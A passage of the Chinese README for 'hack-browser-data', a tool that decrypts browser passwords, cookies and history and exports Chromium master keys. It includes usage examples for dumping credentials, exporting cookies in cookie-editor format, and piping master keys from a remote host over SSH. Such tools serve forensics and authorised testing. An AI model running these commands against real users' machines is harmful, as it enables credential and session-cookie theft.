#### 跨平台构建```bash
# For Windows (standard build, no Chromium 127+ ABE cookie support)
GOOS=windows GOARCH=amd64 go build ./cmd/hack-browser-data/

# For Linux
GOOS=linux GOARCH=amd64 go build ./cmd/hack-browser-data/

生成的 `hack-browser-data.exe` 包含对 Chromium 127+ 的完整 ABE cookie 解密。

## 用法```
$ hack-browser-data -h
hack-browser-data decrypts and exports browser data from Chromium-based
browsers and Firefox on Windows, macOS, and Linux.

GitHub: https://github.com/moonD4rk/HackBrowserData

Usage:
  hack-browser-data [flags]
  hack-browser-data [command]

Available Commands:
  archive     Pack decryption-relevant profile files into a zip for cross-host restore
  dump        Extract and decrypt browser data (default command)
  dumpkeys    Export Chromium master keys as JSON for cross-host decryption
  help        Help about any command
  list        List detected browsers and profiles
  restore     Decrypt copied profile data using exported master keys
  version     Print version information

Flags:
  -b, --browser string        target browser: all|chrome|firefox|edge|... (default "all")
  -c, --category string       data categories (comma-separated): all|password,cookie,... (default "all")
  -d, --dir string            output directory (default "results")
  -f, --format string         output format: csv|json|cookie-editor (default "json")
  -h, --help                  help for hack-browser-data
      --keychain-pw string    macOS keychain password
  -p, --profile-path string   custom profile dir path, get with chrome://version
  -v, --verbose               enable debug logging
      --zip                   compress output to zip

Use "hack-browser-data [command] --help" for more information about a command.

> `keys.json` 包含明文主密钥——请将其视为机密。`dumpkeys -o` 以 `0600` 权限写入该文件；建议通过安全通道流式传输，而不是将其留在磁盘上。

#### `dumpkeys` - 导出主密钥以用于跨主机解密

在源主机上提取每个 Chromium 安装的主密钥，并将其写入 JSON（Firefox / Safari 没有可移植密钥，因此跳过）。默认输出到 stdout，因此可以通过 SSH 管道传输。

| Flag            | Short | Default  | Description                                     |
|-----------------|-------|----------|-------------------------------------------------|
| `--browser`     | `-b`  | `all`    | 目标浏览器 (all\|chrome\|edge\|...)             |
| `--output`      | `-o`  | *stdout* | 输出文件（以 `0600` 权限写入）；省略时输出到 stdout |
| `--keychain-pw` |       |          | macOS 钥匙串密码                                |

#### `archive` - 打包与解密相关的文件以便传输

仅收集还原实际需要的文件（cookies、登录数据、历史记录等），使用与提取时相同的锁定文件绕过机制，从而在 Windows 上安全读取活动中的 SQLite 文件。压缩包的布局为 `<browser-key>/<User Data layout>`，因此一个压缩包可以包含多个浏览器，且还原时保持明确。条目名称始终使用正斜杠，因此 Windows 生成的压缩包可在 macOS / Linux 上还原。

| Flag         | Short | Default            | Description                             |
|--------------|-------|--------------------|-----------------------------------------|
| `--browser`  | `-b`  | `all`              | 目标浏览器 (all\|chrome\|edge\|...)     |
| `--category` | `-c`  | `all`              | 数据类别，逗号分隔                      |
| `--output`   | `-o`  | `browser-data.zip` | 输出压缩包路径                          |

#### `restore` - 使用导出的密钥解密复制的数据

直接从 `keys.json` 重建每个 Chromium 引擎并解密提供的数据——它从不查询分析员的本地浏览器表，因此**你可以还原的浏览器正好是 `keys.json` 中的保管库**。通过以下两种方式之一提供数据（必须且仅需一种）：

- `--data-zip` — 由 `archive` 生成的压缩包；解压到临时目录后删除。
- `--data-dir` — 一个目录。可以是 `archive` 布局（`<browser-key>/...`，一次包含多个浏览器），也可以是单个浏览器手动复制的 `User Data` 根目录，但仅对单个浏览器是明确的——因此请与 `-b` 配对。

`-b` 是对转储保管库的**可选过滤器**，而不是必需的筛选器。

| Flag         | Short | Default    | Description                                                |
|--------------|-------|------------|------------------------------------------------------------|
| `--keys`     |       | *required* | 来自 `dumpkeys` 的密钥文件（使用 `-` 表示标准输入）         |
| `--data-zip` |       |            | 来自 `archive` 的压缩包（与 `--data-dir` 互斥）            |
| `--data-dir` |       |            | 复制的数据目录（与 `--data-zip` 互斥）                     |
| `--browser`  | `-b`  |            | 仅还原此浏览器；必须与 `--keys` 中的保管库匹配              |
| `--category` | `-c`  | `all`      | 数据类别，逗号分隔                                         |
| `--format`   | `-f`  | `json`     | 输出格式（csv\|json\|cookie-editor）                       |
| `--dir`      | `-d`  | `results`  | 输出目录                                                   |
| `--zip`      |       | `false`    | 将输出压缩为 zip                                           |

#### 跨主机示例```bash
# Stream keys over SSH (no keys.json on disk), data copied separately
ssh origin "hack-browser-data dumpkeys" | \
  hack-browser-data restore --keys - --data-zip browser-data.zip

# Restore one browser from a hand-copied User Data folder (no archive)
hack-browser-data restore --keys keys.json --data-dir ./chrome-userdata -b chrome

### 全局标志

| 标志 | 简写 | 描述 |
|------|------|------|
| `--verbose` | `-v` | 启用调试日志 |

### 示例```bash
# Extract all data from all browsers (default)
hack-browser-data

# Extract specific browser and categories
hack-browser-data dump -b chrome -c password,cookie

# Export in CSV format to a custom directory (JSON is the default)
hack-browser-data dump -b chrome -f csv -d output

# Export cookies in CookieEditor format
hack-browser-data dump -f cookie-editor

# Compress output to zip
hack-browser-data dump --zip

# List detected browsers and profiles
hack-browser-data list

# List with per-category entry counts
hack-browser-data list --detail

# Use custom profile path
hack-browser-data dump -b chrome -p "/path/to/User Data/Default"